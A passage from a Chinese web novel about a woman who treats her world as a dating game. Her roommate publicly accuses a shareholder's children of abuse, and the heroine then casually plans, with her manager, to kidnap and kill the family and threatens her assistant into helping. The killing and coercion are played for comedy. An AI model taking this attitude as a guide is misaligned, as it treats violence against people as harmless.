“诸华清和朝晖在一组？这两个妥妥的人气前三吧，好有意思，狠狠期待住了。”
确实，光看纸面人气，朝晖这组可谓是星光熠熠。
诸华清、朝晖两人不提，裴韫也因为跟着朝晖蹭了点镜头，加上初舞台不错的表现，现在总体排名已经上升到中游水准。
还有些细心的观众，发现朝晖独来独往，唯有裴韫和她形影不离，甚至两人还是整个节目中彼此唯一的室友……
这cp顿时不就美美地嗑起来了？
她们还火速建了个词条叫“朝云”。
另外两个，一个女孩叫钱朵朵，是开场时候负责吐槽的、很有观众缘的女孩。
她实力一般，分在了C班，性格却很有趣，目前人气也居于中游，路人粉多。
另一个，则是一名实力唱将，名叫徐燕妮，唱歌水平接近专业歌手，跳舞实力一般，曾被弹幕吐槽“只会唱歌为什么去了A组”。
她长得白白净净的，大眼睛、单眼皮、下三白，头发乱糟糟，看起来丧里丧气，说话也总是一副没什么精神的模样。
可她一开口便是“天籁之音”，于是外表和性格的反差萌也使她收获不少人气，目前排名稳在前20。
朝晖和系统吵完，意犹未尽地一转头，就看见了这位丧里丧气的选手。
“呀，你长得好像一只鸽子。”她忽然开口。
被说长得像鸽子的徐燕妮：“？”
突然听懂了她的话，房间内所有人都惊得抖了一下。
“直播马上就要到我们了！！”钱朵朵倒吸一口气，“她怎么忽然正常了！？”
刚才朝晖在自言自语的时候，四个人就商量着：直播时，如果她一直保持这种“说外语”的状态，那反而也算得上一件好事。
她们四个好好地把氛围维持好，先把直播混过去再说。
可一旦她加入了对话，事情可能就会变得很难办……
还是裴韫镇定，或许是跟朝晖相处得比较久，摸索出了一套经验：“没关系，我们小点声说话，其实她不会怎么搭理我们的。”
朝晖正在和系统探讨着“人类到底为什么会长得像鸽子”的话题，员工忽然就来通知，还有十分钟就要轮到她们了。
裴韫立刻起身，道：“我去洗手间整理一下。”
这是很正常的需求，没人不答应。最终其他三人都选择去洗手间整理外表，留下鸽子妹妹一个人看着朝晖。
裴韫回来的时候，换了无袖的运动背心，外面穿一件外套。
她神色自如，一直低着头，不怎么说话，和平时的模样没什么差别。
毕竟是直播，形象还是很重要的，其她女孩都在认认真真地整理衣服、发型。
裴韫轻轻地靠近了朝晖，声音细不可闻：“朝晖姐姐，能帮我一个忙吗？……我是说，我、我有一个任务想要交给你。”
她说完之后，就立刻祈盼地看着朝晖，她的嘴角紧紧抿着，手指不自觉地抓着衣角，轻轻颤抖。
玩家：！！
“是什么任务！？”她眼睛亮晶晶地看着对方。
她可不会注意自己的嗓门，不过大家都在整理，只投过来一个眼神。裴韫转过头冲她们点点头，她们就没有再做什么。
裴韫的性格也算是众所周知——好听点叫温柔娴静，难听点就是懦弱胆小。朝晖会经常跟她讲话，天天叫她“猫猫室友”，似乎挺喜欢她。
裴韫说：“就是……等会儿直播的时候，你可以尽量配合我说话吗？如果有人要打扰我们直播的话，也请你尽力阻拦一下。”
“叮！您触发了支线任务【裴韫的请求】。”
朝晖：“没问题呀！！我的宝贝！！我一定会完成你的任务！！”
她这些天来，也不乏遇见npc说着给她任务、请她帮忙的话，然而真正触发了支线任务，这还是第一次呢！
还得是咱的猫猫呀！
这老大一嗓子，让其他人无法无视。
“我，我拜托她配合一下直播。”裴韫怯怯道，“她天天把任务挂在嘴边……我想她可能是比较喜欢这种角色扮演类的。”
诸华清不太喜欢朝晖，但真要说多讨厌，那倒也没有——只是觉得她太不可控，总是带来麻烦。
她是希望节目能安安稳稳进行的。
听裴韫这么说，她很高兴：“还是你有耐心、有办法，辛苦了辛苦了，一会儿我们多多加油，我们这一组肯定是没问题的，大家要有信心。”
她们这一组人气都很不错，足足有两个A班选手，剩下的也是2B1C，排名不低，自然吸引了诸多目光，好好表现的话肯定可以涨粉。
诸华清本来就是被公司以“队长”身份进行培养，自身条件也好，人缘不错。钱朵朵和徐燕妮都认可她的话，各自点头。
裴韫松了口气，手握成了拳头，放在膝盖上。
33. 云端能源（22-23）
（22）
朝晖这一组开始直播后，直播间的人气果然猛地一窜。
“大家好！我们是星光训练营的练习生！”
自我介绍的内容是任务需要，朝晖还是老老实实完成了。
另外四人、所有工作人员都松了口气：果然，她还是分得清主次轻重的啊！
不知道是不是被她创多了，偶尔见到她这么乖乖配合，大家竟然心里都涌上了一股莫名的感动。
——这家伙，倒也还不赖嘛！
尤其是诸华清，她不仅和朝晖同公司，还肩负着经纪人交给她的重任，自身本身又是受到关注的高人气选手。
心中的压力，还是相当大的。
若是玩家能解锁她的资料卡，就会发现诸华清在玩家配合完成直播流程的时候，好感度刷啦啦地涨了不少。
可能被玩家在不知不觉中pua，就是npc的宿命吧：）
流程正在顺利地进行，朝晖的主线任务、来自猫猫的支线任务也都在推进着。
她们五人都坐在高脚凳上，面对两个机位的摄像区域，座位是三前两后：
前排C位诸华清，左边钱朵朵、右边徐燕妮；后排左边则是朝晖，右边是裴韫。
拍摄间到处打着灯，人又多。似是觉着有些热，坐在右后方的裴韫把外套脱掉了。
前方围着她们的员工当中，一个负责cue流程的主持人和裴韫对了个眼神，忽然道：“裴韫选手，我才注意到你的身上似乎有一些伤口，是因为平时的努力练习、不小心造成的吗？”
诶？
其她几个选手都懵了。
根据她们事先写好的台本，主持人只会询问裴韫练习努不努力，不会提到“伤口”的内容。
紧接着，裴韫就会回答“我平时练习非常刻苦”之类的话，并顺便提到她是受了朝晖的鼓舞。
这样也算cue到了朝晖，防止朝晖从头到尾不怎么讲话，引来粉丝不满。
练舞的人难免磕磕碰碰，大家身上或多或少有些淤青擦痕，倒很正常。
只是问题怎么忽然变化了？
但她们三个坐在前面，直播的时候不好回头去看，朝晖又完全是一副神游天外的模样，对外界的任何声音似乎都置之不理。
诸华清的表情管理依然完美无瑕，内心却有种不太好的预感。
“是……是练习很努力，不过伤口并不是练习造成的。”裴韫说。
此时此刻，观众已经发现了裴韫上臂的伤口。
直播间有滤镜，弱化了对比度，但伤口都不小，能勉强看清。
这么严重，怎么看都不可能是摔倒、不小心造成的啊！？
“我怎么感觉像是刀口？”
“有一道蜈蚣疤啊，没钱用治疗仪的话，去缝针就会留这种疤，我也有。”
“那一定是很严重的伤吧？”
“怎么回事？？”
弹幕出现了小小的混乱，负责直播管理的员工一个走神，就控制不住局面了。
员工连忙疯狂给上司发消息，询问处理方式。
因为之前的直播过程都很顺利，总负责人也不在现场，而是远程在办公室进行指挥；一时之间，在场的人没一个敢做下决定，到底要不要冒着巨大的舆论风险暂停直播。
刚才那个cue流程的主持人已经被拉走，裴韫知道，现在就是她唯一的机会了。
她攥紧衣角，仰起头，面对着镜头，大声地说：
“我是裴韫，我的身份证号是xxxxx，我现在实名举报，举报关于云端能源股东杨勇的儿子杨帆、女儿杨茉多年来对我造成的伤害！”
“杨茉，从我十二岁开始，我们师从同一个老师，她多年来对我进行霸凌，行为包括但不限于言语凌辱、身体虐待、恶意威胁，在我身上留下大量难以愈合的伤口，对我的精神造成极大影响……”
“杨帆，他因杨茉而认识我后，对我下药、拍摄照片、胁迫我听他指令、对我进行侵/犯，以其家庭权势威胁我的父母，他还曾强迫我的一名同学，导致她不堪受辱而自杀……杨帆对我进行精神控制，威胁我替他做事，包括利用我的伤口陷害朝晖……他让我给朝晖下药，拍摄朝晖的照片来威胁她，还让我诬陷朝晖，说朝晖精神不正常，在宿舍虐待我……”
裴韫语无伦次地说着，眼泪大颗大颗地滴落，打湿了她的衣服。
她忍不住地颤抖着、紧张着，脸憋得通红，可内心中却涌出一股从未有过的爽快。
那是和以前屈辱的哭泣完全不一样的感受——
“关直播！关直播！”现场负责人顾不得自己的声音可能会被录入麦克风，拼命地狂喊。
但是，已经来不及了。
裴韫语速很快，这段被她仔仔细细琢磨过无数遍的话，不到一分钟就全讲完了。
朝晖早在裴韫开始讲话时，就接收到任务提示。
她从高脚凳上一跃而下，一夫当关万夫莫敌，把所有人统统扫飞出去，自己把持住摄像区域，还特地上前一步拉过摄像机，将猫猫室友调整到镜头正中间。
员工们不要命地冲上来，被朝晖噼里啪啦地打飞到墙上。
在场众人都是普通人，哪有她一合之敌？
最终还是节目组总负责人出面，紧急让直播平台将直播强行关掉，否则他们就不得不关电闸了。
“呀呼！好久没打人了，果然玩游戏还是要揍一揍人比较解压啊！”
一开始，朝晖有了“任务”作为由头，能“合法”揍人，开心得飞起，拳打脚踢、好不快乐。
然而，她脸上的笑容，随着猫猫室友的自述，慢慢地消失了。
她停在原地。
“真勇敢啊！”系统感慨，“这样一来，事情真的会闹得很大，杨勇一家一定会被调查。可惜裴韫的职业生涯也毁掉了。”
就算现任市长碍于面子、为了解决舆论而选择调查云端能源，裴韫此举却是一下子得罪了太多人，以后肯定不好过。
漫天的流言蜚语会将她淹没，没有一家公司会再敢和她签约。
都是资本家了，谁还没点不干净的小尾巴了？
万一下次她再爆一把料，他们还混不混？
而杨帆、杨茉两人，以他们的身份，最坏也就是去牢里蹲几年，还能通过某些手段操作一下，争取减刑、缓期执行。
他们肯定深恨裴韫，不会让她好过。
群众是健忘的，热度一过，没有人会记得她，最多就是八卦闲聊的时候提上一句、同情片刻。
大家都有自己的事情要做，没有能力、也没有必要去过多地关心一个陌生人。
裴韫年纪不大，她对于这些可能的后果，也许知道，也许不知道。
她的未来是什么样的？她自己也说不清楚。
大约……今天的自曝就是她这短短的人生当中，做过的最勇敢的一件事吧。
“喂，太过分了吧？这种程度的黑料爆出来，节目真的还能继续录下去吗？”朝晖说，“这个支线任务意义何在啊？我不会是打出BE*了吧？”
现场一片混乱，保安组气急败坏地闯进门来，后面跟着几个警察：“朝晖、裴韫，你们二人涉嫌危害公共安全、造谣污蔑他人，请跟我们走一趟吧！”
裴韫已经低下头，眼泪慢慢止住。
闻言，她竟然讽刺地笑笑，低声说：“该来的时候你们不来，不该来的时候，速度倒是挺快的。”
“哐！！”
裴韫一惊，猛地抬头，红肿的眼睛微微睁大。
这些警察都是就近赶来的，压根没带武器。朝晖丝毫不惧，把他们全部踹飞出去，他们哐当哐当地飞到墙上，慢慢滑落，和其他“哎哟”一片的工作人员整整齐齐地在墙角躺成一排。
“喂！猫猫，你说的都是真的吗？”朝晖说。
系统提示她完成了支线任务【裴韫的请求】，获得了经验、金钱等奖励。
但她第一次对于系统通知不理不睬。
她静静等待着猫猫的回答。
“当然啊，当然是真的。”裴韫怔怔道，“不过我没有什么证据……杨帆非常小心，他连给我打电话都会使用另一张手机卡。我只有一小段录音。”
“但是……我保证，我说的都是真的。”
“没关系啊，不需要证据。”朝晖皱眉，“你这家伙，真是的，现在闹这么一出，你以后还怎么出道啊？”
网上早已经翻天了。
社交网站好悬没崩，程序员疯狂加班，勉强维持住了软件的运行。
热搜红得发黑，全是#星光训练营裴韫#、#霸凌丑闻#等词条。
节目组公关部、云端能源相关部门均尝试压热度，然而原本令节目组欣喜不已的高人气直播，此刻却成为了反捅他们一刀的双刃剑。
相关政府部门不得不立刻发出声明，表示会参与调查，还公众一个真相，才勉强平息众怒。
云端能源股价已经开始狂跌，他们怒不可遏，质问番茄台，要求他们对于这次直播意外给出一个说法。
……
如此种种，众生百态，混乱一片，但这都只不过是暂时的——
热度一过，大公司们就会再次达成协议，齐心将事情压下，把锅完美地甩出去。
然后，小小的裴韫就会悄无声息地消失在网络世界。
“出道？”裴韫苦笑，“还出道呢，能活着就不错了——你，唉，你怎么把警察打了？帮我也没必要到这个地步，就算你有其他的后台，袭警也会很麻烦的……”
朝晖却并不搭理她，而是认真道：“欺负你的除了那个杨……杨什么的兄妹两个，还有别人吗？”
“……诶？”
玩家这种万事不急、对外界充耳不闻的态度，实在是太具有感染力了。
那倒在一边排排躺的警察，成了最好的背景，是她强大的佐证，是她王座之下的骸骨，为她镀上一层充满不现实感的梦幻光辉。
裴韫望着她，竟冷静了下来，还托着腮思考片刻，才道：“其他人都是喽啰，听命行事而已。”
像之前节目组里，那几个跟着杨茉狐假虎威的小女孩，在杨茉趟医院之后便光速老实下来，再也不敢作妖。
“噢，我知道了，云端能源——杨什么？”
裴韫：……
裴韫的消极情绪不知不觉间已灰飞烟灭，忽然就开始摆烂起来：“杨帆和杨茉——你这家伙记忆力到底是有多差啊！明明说了好几遍了！”
“哎呀哎呀别生气，你等着，我有了个新计划。”朝晖一拍大腿，“千万别做傻事啦，我还想让你成为我的员工，到时候正式出道呢——不是选秀团，是正式的女团哦！”
“噢，不过待会儿你可能就不记得了。”
“？”
玩家不再等待猫猫室友的回应，打开系统界面选择读档。
“确认读档吗？您会丢失今天的任务进度，包括主线和支线任务的奖励。”系统道。
朝晖淡淡道：“嗯，读吧。”
（23）
朝晖，一位优秀的游戏玩家，虽然不是确保每一个细节都必须完美、否则就读档重刷的强迫症，但也拥有很好的游戏意识。
比如，自从她经历过忘记存档的惨案之后，她就固定每天一存档。
《逐梦演艺圈》最多可以存三个档，她本次选择读了第二个——也就是前天，周五晚上的存档。
眼前一花，她出现在了宿舍内，旁边的猫猫似乎正准备去洗漱休息。
“姐姐，去练习室吗？”见朝晖看向她，裴韫连忙打招呼。
她看着朝晖的眼神似乎总是小心翼翼的。
“游戏人物细节做得真好，人设也很丰满啊……”朝晖嘀咕着，“先不去，我打个电话。”
“噢，好的。”
裴韫本就不擅长社交，此刻也不知道该说什么了。
见朝晖似乎是打算无视宿舍里的摄像头、直接掏出手机，她连忙懂事地钻进洗手间，把门紧紧关上。
朝晖这通电话是打给经纪人的：“喂？快把云端能源杨……杨什么来着？他的儿子女儿两个人的情报发给我。”
大晚上的，卫文谨正准备休息呢。
听到这无理要求，他痛苦地捂住头：“什么情报？我哪来的情报啊？”
“蛤？你可是男主啊，就没有认识一点私家侦探、无所不能的警察朋友之类的人吗？”
“……”
“啧，那你既然是个西装精英，一定对于搞钱这方面有些独到的见解吧？”朝晖失望地叹了口气，“假如说我想要干掉一个企业的股东，有没有什么办法能够获得他的遗产啊？先抢再杀行吗？”
卫文谨手一抖：“你要不要听听你在说什么——小声点！！你现在在哪里？”
“宿舍啊。”
“……宿舍里有摄像头的啊！！！”
朝晖无所谓道：“没事，反正一个档估计是成功不了，我还会读档的，不会被抓——总之到底有没有办法呢？”
中间一段全被打码了，卫文谨只捕捉到“没事”“有没有办法”这几句话。
……他还能怎么办呢？
卫文谨苦涩地来到厨房，给自己泡了一杯浓浓的黑咖啡，然后躺倒在沙发上，揉了揉紧皱的眉头：“……这种事情最好还是见面说。但已经来不及了……事发后警察一定会查到我们的通话记录的。你，唉……”
他非常有理由相信，朝晖这个人既然这么说了，就真的会去干这种事。
现在就是很后悔，很想穿越回过去，把当时那个天真可爱、迫不及待接下这份工作、以为能多赚点钱日后翻身的自己给掐死。
朝晖挠挠头，“哦”了一声，读档。
这回电话一通，她就对着卫文谨道：“我有重要的事情要说！你现在就帮我给节目组请假，我们面谈，不然的话，我们的通话记录可能会被警察调查、把你抓到哦！”
“……”
一小时后，卫文谨强行以“朝晖突发恶疾”为理由，把她从《星光训练营》宿舍给接了出来，带到家里。
朝晖把自己的疑问复述一遍，收获卫文谨惊讶的眼神。
“你竟然还知道要面谈，免得留下线索？”
朝晖冷漠：“说什么废话呢，别浪费时间，快把你的方法告诉我。”
“……”
卫文谨深呼吸，卫文谨给自己灌下一杯特浓咖啡，卫文谨露出微笑。
“如果你真
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的想这么做，要钱也没用，最好是金条。但你真的要钱吗？金条也不是那么容易花出去的。”卫文谨仔细分析，“你还不如要极品晶石。”
朝晖猛点头：“有道理。”
“如果你对自己的能力有信心的话，可以绑架杨帆，呃，就是杨勇的儿子，以此威胁他交付晶石作为赎金。”卫文谨开了个头，后面的计划便自然而然在他的脑中形成，“当然，绑架成功后人质就可以直接解决了。然后，你要求杨勇独自前往指定地点，直接把他干掉，带着赎金离开，保证自己别被抓到即可——就这么简单。”
异能者犯罪是很容易的，因为太难抓了。
许多大势力都不介意收留有犯罪历史的强大异能者，他们会付出代价，找一个“替罪羊”帮异能者摆平麻烦。
朝晖却摇头：“不能被人发现是我干的，毕竟我还要继续参加综艺、出道当偶像呢。”
卫文谨：“………………………你认真的吗？”
这，是何等样执着的精神啊！！
试问整个娱乐圈内，还能找到这么一个如此热爱偶像事业的艺人了吗！？
“当然是认真的了！”朝晖的语气不容置疑，“最好不要闹太大，总之让他们两个死掉就行——杨茉么，就再看看吧。”
朝晖觉得纵容孩子、滥用权力的杨勇，以及罪行重大到懒得再提的杨帆应该赶紧去死。
杨茉现在还是个未成年人，可以把她交给法律去处理，或者看看猫猫自己的意见。
爸爸和哥哥全都死了的话，霸凌者会感受到与受害者同等的痛苦吗？
“暗杀啊，以你的能力，应该也没问题……你可以找个理由，想办法拿到他们存放晶石的位置，直接去偷好了。”
卫文谨充分发挥了一个狗头军师的素质，说着说着忽然觉得哪里不对。
“等等，你还要像上次那样借我的…用吗？”
朝晖自然道：“那是当然，你得跟我一起去。”
卫文谨：……
卫文谨感觉到大事不妙。
卫文谨无力地开口：“姐姐，你能跑得掉，我跑不了啊……万一你失败了，我就完蛋了。你明白吗？”
“我明白，你的异能我以后还要继续用呢，不会让你死了的，放心吧！”
朝晖微笑，然后“哐”地一下就把卫文谨敲晕了。
系统：……
玩家单手提着经纪人，另一只手拿着他的车钥匙，腰上跨着卷纸，熟门熟路钻进地下车库，启动黑色商务车。
刚才上楼的时候，她就已经把这条路线摸索清楚。
该动脑子的时候自然要动。记不住npc名字是因为她笨吗？
只是因为没必要罢了。
“杨勇的家庭地址……唉，有点难查呀。”朝晖很苦恼，“明明每个主角都会认识一个万能的情报贩子啊，为什么我没有？”
富人都是非常注重保密意识的，家庭地址可不容易获得，跟踪也非常难，玩家并不擅长。
系统：……
乙女游戏里到底为什么会配备情报贩子这种角色啊！！
朝晖理智地分析，目前最有可能获得情报的地方，就是安全局了。
但假如她打电话给姜瑶，后果十有八九是被她抓回去进行教育。
算了，还是先去探查探查已知的情况吧。
*
云端能源大厦位于市中心，高耸入云，十分显眼。
正值深夜，加班的倒霉蛋们也差不多都回家了，大厦内漆黑一片。
朝晖把车停在了附近商场的地下车库，重新存档，然后提起经纪人便熟门熟路（？）钻进了附近下水道口。
花了一晚上时间，跟安保们你追我赶、亲密无间地battle了无数个存档后，她成功把这栋大厦摸得清清楚楚，也将杨勇和杨帆常驻的办公室熟记于心。
杨帆作为股东的儿子，在云端能源挂了个经理职位，有一间位于走廊尽头的超大办公套间——一个绝佳的作案地点。根据刚才几个存档内获得的线索，周六的早上，他一般都会来上班。
“嗯，把他干掉的话，节目就可以安安稳稳地正常播出了，猫猫应该也能好好出道。”朝晖很满意，“要是猫猫觉得不解气，可以再通过匿名的方式举报他的所作所为。”
“至于杨勇，再看看吧！实在不行就晚点再杀他。”
系统沉默。
它的智能算不明白，玩家到底是真的在担心游戏进程，还是……稍微善良了那么一下。
新一期存档，朝晖总算是成功在复杂的大厦管道内找出一条路，潜入进办公室附近。
却未曾想到，杨帆这个老六，竟然还给自己办公室外间的通风管道里装了警报器！！
现在是清晨，杨帆还没来上班呢，大厦内就警铃大作，眼看着警察应该也快来了。
“这什么人啊！到底是不是被害妄想症！！”玩家很生气。
系统：“……可能是因为之前矿场发生的事情，增加了他们的警惕性。”
？
豁，这还能跟她之前的事情扯上关系？
玩家沉默。
她百无聊赖地趴在管道里，准备读档前再仔细复盘一下，看看计划有没有什么能改进的地方。
却没想到，她的手机开始震动。
“对，差点忘了，要记得把手机留在安全的地方，免得被追踪呀！”玩家一拍大腿。
一看，电话是助理伊尔莎打来的。
“莎莎，什么事儿啊？”朝晖大剌剌接起电话。
谢谢莎莎，否则她要是忘记手机这个线索，就又得重来一遍。
“朝小姐，您在宿舍吗？”伊尔莎迟疑道。
“没。”
“……”
伊尔莎顿了顿，然后道：“我是听说云端能源大厦那边出了事情，警察正准备过去……嗯，因为您之前提到过。”
朝晖之前让莎莎帮她收集情报，尤其是关于安全局和警察局的动向。
玩家的目的，是关注矿场事件有没有暴露——现在过了这么久，其实也不再重要了。
但朝晖依旧很感兴趣：“你从哪知道的？”
难道她的嘴开过光，才刚说完没多久，她的情报贩子就要出现了！？
系统：……
“似乎只是常规的出警，这不是什么需要保密的事情，很容易就打听到了。”伊尔莎却道。
类似的事件很多，洛川的治安可不怎么样，警察每天都挺忙碌。
伊尔莎清楚朝晖和云端能源的恩怨，因此听到这个关键词，才敏感地立刻给朝晖打电话。
“所以你到底是怎么知道的？”朝晖不傻，“你住在星光训练营的员工区里，出去还得请假，无缘无故怎么会知道市中心的警局动向呢。”
“……”
她的脑子，果然很灵活啊。
看起来傻乎乎的，应该只是因为她对那些事情都不在意，所以压根懒得去思考而已……
伊尔莎犹豫片刻，最终咬咬牙，慢慢说道：“是我……我一个朋友，他的工作平时会接触一点跟警察相关的事。”
“朝小姐，希望您能够相信我的忠诚，但很抱歉，我没办法把他的身份告诉您。”
34. 云端能源（24）
npc不愿意服从玩家的指令，该如何应对？
无外乎威逼、利诱（？）这两个办法。
朝晖想也不想，诚实地对她道：“其实啊，这个警报就是因为我才响起来的，我现在就蹲在云端大厦的通风管道里呢……你别说，这地方信号还真不错！”
“莎莎，我准备抢劫一把云端能源，然后把他们的一个股东杨勇、以及他的儿子杨帆给干掉。如果你和你的朋友愿意帮助我，我就给你们分点抢来的战利品，怎么样？”
“要是不帮我的话，这通电话事后应该会被泄露出去，那你可能会被牵连哟。”
伊尔莎：……………………………
伊尔莎一时之间不敢相信。
懵了会儿才发现，朝晖是在威胁自己！！
她不禁发出了和经纪人相似的疑问：“……您是认真的吗！？”
“当然是认真的啊！”
伊尔莎：……
她沉默片刻，艰难地开口道：“我知道一个人，可以对通话记录做手脚……老板，你知不知道你现在这么说的时候，通话记录就已经没办法挽回了！？”
“什么！！你不仅认识情报贩子，还认识黑客！？”
朝晖本来打算读档，此刻却念头一转，拎起还没来得及用上的经纪人，沿着通风管道爬出大厦，驱车前往《星光训练营》录制地点，“我现在去接你，你把你朋友的地址发给我。”
言辞之间，似乎根本没想过伊尔莎会拒绝。
倒霉助理：……
助理出入拍摄地的管理并不严格，且她的老板本来就请假了。伊尔莎随便扯了个理由，便顺顺利利离开。
看见车后座上，后颈全是淤青、昏迷不醒、被随便丢在那儿的经纪人，伊尔莎忽然觉得，老板对自己还算挺客气的……？
刚刚还波澜起伏的心情，似乎忽然间便平复了不少。
算了，就这样吧。
还能怎么办呢？
“在贫民窟。”她道。
朝晖耳朵微动：“你的朋友，是来自贫民窟那个异能者组织对吗？”
连游戏女主都没有异能，伊尔莎这个倒霉女配自然也是没有异能的。
在这个世界里，目前朝晖见过的异能者只有两个男主。
呵，垃圾游戏！
总之，在这样的情况下，伊尔莎又怎么会了解异能者的组织呢？
十有八九便是来源于她的家人、朋友，又或者她曾经被卷入过异能者相关的案件——比如之前，正是因为被卷入朝晖的事件，她才签署保密协议、成为安全局的“编外人员”。
所以，当她说出“我有一个朋友”的时候，既然可以肯定这个朋友不是她自己，那很有可能就是一个异能者朋友了。
哼，在搜集boss情报的时候，玩家的大脑，顿时便恢复了当年成功考入重点大学的机智灵敏！
伊尔莎：“……嗯。”
车内一片沉默，朝晖并没有表现出惊讶，熟练地开着车，一路飞驰，超车技术极为娴熟。
她是如此的淡定，似乎从来不会感觉到迷茫、慌乱，对发生的一切胸有成竹。
“他是我的弟弟。”伊尔莎忽然道。
“？”
朝晖眉毛一挑。
她一开始猜测，这个异能者或许是莎莎的朋友或家人。
没想到，此人既是朋友，也是家人。
玩家的判断竟然全中！
哇，她可真是个天才！
系统：……
眼见朝晖依旧是淡定的模样，伊尔莎又补充了一句：“是我……我姑姑的孩子，也就是我的堂弟。”
“噢。”
玩家打开员工资料卡，看见莎莎的身世部分写着“父亲是酒鬼赌鬼；母亲疑似北联邦人，已失踪”一行字，问道：“所以他不是混血咯？”
“不是。”
她的这份淡然影响到了伊尔莎，明明在做很危险的事情，心中的不安似乎却逐渐减弱。
“他在做兼职，偶尔会帮警察局干点‘杂活’，所以认识几个人。”伊尔莎道，“他是异能者，能力还不错，又不在警察局的编制内，有时会比警察亲自出面更方便一些。”
“黑手套*。”朝晖点头，“很正常，毕竟大家都有点见不得人的事情要做嘛……尤其是你们这游戏……呃？”
她忽然转头看向莎莎。
莎莎长得这么美，就算她亲妈是个美若天仙的北联邦人，爸爸那边的基因也不能太拖后腿才行。
假如爸爸长得还行，那么爸爸的妹妹——姑姑，长得可能也还行。
假如姑姑长得也还行，那么姑姑的儿子……
“你这么美，你弟弟是不是长得不错啊。”朝晖问，“该不会他还恰巧有188身高吧？”
有不错的异能，有很“潮”的黑手套身份，是个男的，和她这个女主产生了不少联系……要是他还长得帅，这十有八九不就是男主吗。
伊尔莎听见她的疑问，顿时一惊，脑海中转过了八百道弯：“这跟长相有什么关系，难道您……！？呃，要是您的话，也不是不行……”
朝晖清澈愚蠢地望回去：“？”
伊尔莎：“……”
是她习惯了这个世界，把老板想得太黑暗了！
由于云端能源大厦那边只是下水道警报响起，有可能是小动物误触造成，警察这边出警的速度相当慢。
朝晖顺顺利利把车开到了贫民窟，这也是她第一次来到这久闻大名的地方。
沉默。
哪怕是作为游戏场景，这里也太过惨烈了一些。
狭窄昏暗的小巷交错纵横，路面坑洼不平、污水横流，建筑物以废弃的塑料板搭建成的棚子为主，还有很多一看就年头久远的烂尾楼。
随处可见穿着破破烂烂的乞丐席地而睡，奇怪的是他们并不瘦，甚至许多人都相当肥胖，只是面色蜡黄。
“吃廉价营养液的副作用。”似乎看出了她的疑问，伊尔莎道。
她心中已经有所猜测，此刻看到玩家的反应，才坚定了想法：
朝晖绝不会是出身贫民窟的人。
“别理他们，过来这边。”
伊尔莎指挥朝晖把车开进一条狭窄小路，经纪人的商务车被朝晖剐蹭得惨不忍睹。
车子在这地方乱停的话，十分钟之后就会被拆得啥也不剩了，后座上的卫文谨可能也会被扒光衣服然后卖掉。
她们开进一个小院子，里面有一块平整的石板地，似乎是修车的地方。棚子里黑乎乎的，见到有人过来，从里面钻出一个人。
此人的身型，一看就是个少年——少年和成年人的身材完全不同，就像一株初生的、挺拔的松树，纤细却富有力量。
肩膀很宽，身材却很薄，不合身的宽大t恤挂在身上，露出一小截纤细的、肌肉线条利落的小臂。
当然了，这一切的一切，都不如他脑袋上的三个白色大字显眼。
“您已解锁新的【恋爱】人物卡【李长庚】。”
“果然！”
朝晖一拍大腿，“哼，通过这么点线索便推断出了男主的身份，我可真是个天才——话说系统，为什么眼看男主是一个比一个穷了啊？”
她还想遇到个有钱的男主，看能不能骗……呃，通过任务的方式获得点儿额外收入呢！
系统：……
新出场的男主打开一盏不太稳定的电灯，露出一张苍白的脸——他倒是继承了男主的优良传统，脸小颜好，眉骨、鼻子和下巴都跟cg似的挺拔，下垂眼，单眼皮，向上看的时候露出下三白，看起来有点凶。
但他的年纪实在是不太大，眼型又比较可爱，这个凶吧，凶得非常地有限，就有种幼犬呲牙的感觉。
朝晖打开资料一看，得，这位今年才17岁，身高就已经185了。
“不愧是男主，后生可畏，后生可畏啊，小年轻长得可真高。”朝晖说。
她对
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未成年人有种特别的滤镜。
这个年纪的小朋友，就算犯了什么错，她的第一选择也还是去找家长。
杨茉犯错，她就把对方的家长干掉。
杨帆已经成年，那犯了错的话，就由他自己承担。
这是她个人的小毛病，所以面对未成年的男主，朝晖就不像是对卫文谨、余烬那么不客气，而是义正严辞地对系统道：“乙游男主怎么会有未成年人！？你们游戏到底是怎么回事，未成年人不可以谈恋爱！！”
系统：“……本游戏的通关时间大约为十年左右（游戏内时间），李长庚原本不会这么早出场的……”
根据乙女游戏的剧情，伊尔莎只是个连姓名都没有的炮灰女配，她会因为不明原因死去，导致后期李长庚深度黑化，需要小太阳女主的拯救。
现在么……李长庚还是个腼腆的小屁孩啊喂！
朝晖一言不合就开始自言自语、说一些听不懂的话，伊尔莎却已能保持淡定，李长庚似乎也并不讶异。
他仿佛很拘谨，一直垂眸看着地板，根根分明的睫毛在灯光下微颤。
伊尔莎轻轻推了他一把，他才走到朝晖旁边，一板一眼道：“您好，老板。”
朝晖把他上上下下从头到脚打量了一遍，直把他看得手足无措，脸上都快能煎鸡蛋了，才得出结论：
这家伙和莎莎有点像，都是那种闷不吭声的性格。
而且，他特别地有眼力见！
一上来就喊老板，多好呀！
朝晖对他道：“你愿意成为我的员工吗？”
伊尔莎可能对他说过一些关于玩家的事，听了这句话，他并未惊讶或者犹豫，而是毫不犹豫地点点头：“我愿意。”
“叮！您获得了新员工【李长庚】。”
李长庚乃无业游民，“黑手套”的工作是不可能签合约的，所以他轻而易举就被朝晖成功招募。
“哇咔咔咔咔！！！”
“原来男主真的可以招募成员工！！我发达啦！！”
朝晖开心死了，顿时又蹦又跳，一个激动窜到了房顶。
然后忽然脚下一空……？
随着“哗啦啦”“劈里啪啦”的连环声响，男主居住多年的破烂棚子光荣宣告牺牲。
李长庚：……
伊尔莎：……
李长庚顿时就用悲愤的眼神看向姐姐。
伊尔莎回以一个尴尬而又不失礼貌的微笑。
朝晖毫发无伤地从垃圾堆里钻了出来：“哎，老住在这也不好，小李啊，虽然我现在没有钱，但我很快就有了，你放心地跟着我干，好处大大滴有！”
伊尔莎在说出李长庚身份的时候，就已经做好了投靠朝晖的打算。
或者说，从她给李长庚打出那个电话开始，她就已经做好这样的心理准备了。
于是她并不意外，点头道：“行，那……反正房子也这样了，长庚你不如收拾一下，先搬到郊区的胶囊公寓区居住吧，那边离节目组近，方便一些。”
伊尔莎给安全局打工后，就拿到了一点钱，租便宜的胶囊公寓住没什么问题。
而李长庚自己也有一些存款。
“住什么胶囊公寓？我们去小卫家里就好啦，他家刚好有两个房间呢，很大，很舒服！”
“小卫还会做饭，正好伙食也解决了。”
朝晖一点儿也不见外，三言两语就把不论是不是她员工的人全都安排好，指挥两人上车，“走吧，我们去找莎莎你的朋友——就是能帮你处理电话记录的那个。”
嘿嘿，情报贩子、黑客统统齐活，距离她争霸洛川还会遥远吗？
莎莎，你可真是我的大宝贝！
伊尔莎&李长庚：……
系统：……
